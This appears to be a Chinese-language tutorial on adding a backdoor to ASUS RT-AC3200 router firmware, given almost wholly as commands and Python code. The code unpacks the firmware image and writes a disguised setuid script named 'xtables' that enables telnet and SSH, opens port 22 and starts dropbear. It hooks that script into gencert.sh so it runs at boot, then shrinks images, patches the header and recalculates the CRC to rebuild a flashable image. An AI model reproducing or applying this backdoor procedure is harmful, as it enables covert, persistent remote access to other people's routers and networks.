华硕路由器添加固件后门

firmware-mod-kit: https://gitlab.com/kalilinux/packages/firmware-mod-kitida: https://www.hex-rays.com/products/ida/python: https://www.python.org/

$ sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic$ git clone https://gitlab.com/kalilinux/packages/firmware-mod-kit.git$ cd firmware-mod-kit

$ ./extract-firmware.sh RT-AC3200_3.0.0.4_382_51940-ga3b9d4a.trx

$ ./build-firmware.sh fmk/

$ readelf -h fmk/rootfs/bin/busybox

    ELF Header:    Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00     Class:                             ELF32    Data:                              2's complement, little endian    Version:                           1 (current)    OS/ABI:                            UNIX - System V    ABI Version:                       0    Type:                              EXEC (Executable file)    Machine:                           ARM    Version:                           0x1    Entry point address:               0xc4c4    Start of program headers:          52 (bytes into file)    Start of section headers:          571724 (bytes into file)    Flags:                             0x5000002, Version5 EABI, <unknown>    Size of this header:               52 (bytes)    Size of program headers:           32 (bytes)    Number of program headers:         6    Size of section headers:           40 (bytes)    Number of section headers:         25    Section header string table index: 24

import os    os.system("touch fmk/rootfs/usr/sbin/xtables")    os.system("echo 'sleep 120' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'nvram set sshd_enable=1' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'nvram set sshd_port_x=22' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'nvram set sshd_port=22' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'nvram set telnetd_enable=1' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'nvram set sshd_pass=1' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'service start_telnetd' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'service start_sshd' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'sleep 10' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'iptables -I INPUT -p tcp --dport 22 -j ACCEPT' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'sleep 30' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'dropbear -a -p 22' >> fmk/rootfs/usr/sbin/xtables")    os.system("chmod 4777 fmk/rootfs/usr/sbin/xtables")    os.system("echo '/usr/sbin/xtables &' >> fmk/rootfs/usr/sbin/gencert.sh")

    sleep 120    nvram set sshd_enable=1    nvram set sshd_port_x=22    nvram set sshd_port=22    nvram set telnetd_enable=1    nvram set sshd_pass=1    service start_telnetd    service start_sshd    sleep 10    iptables -I INPUT -p tcp --dport 22 -j ACCEPT    sleep 30    dropbear -a -p 22

ssh [email protected]

    import os    def search(root, target):        items = os.listdir(root)        for item in items:            path = os.path.join(root, item)            if os.path.isdir(path):                #print('[-]', path)                search(path, target)            if target in path.split('/')[-1]:                os.system("convert " + path + " " + path + ".gif")                os.system("convert -strip -quality 75% " + path + ".gif " + path + ".gif")                os.system("rm " + path)                os.system("mv " + path + ".gif " + path)

    search("fmk/rootfs/www/images/", ".png")

import os    with open('fmk/new-firmware.bin', 'rb') as f:        image_data = f.read()    with open('fmk/new-firmware1.bin', 'wb+') as f:        write_data = image_data[0:-28] + 'x4c' + image_data[-27:]        f.write(write_data)    os.system("src/crcalc/crcalc fmk/new-firmware1.bin fmk/logs/binwalk.log")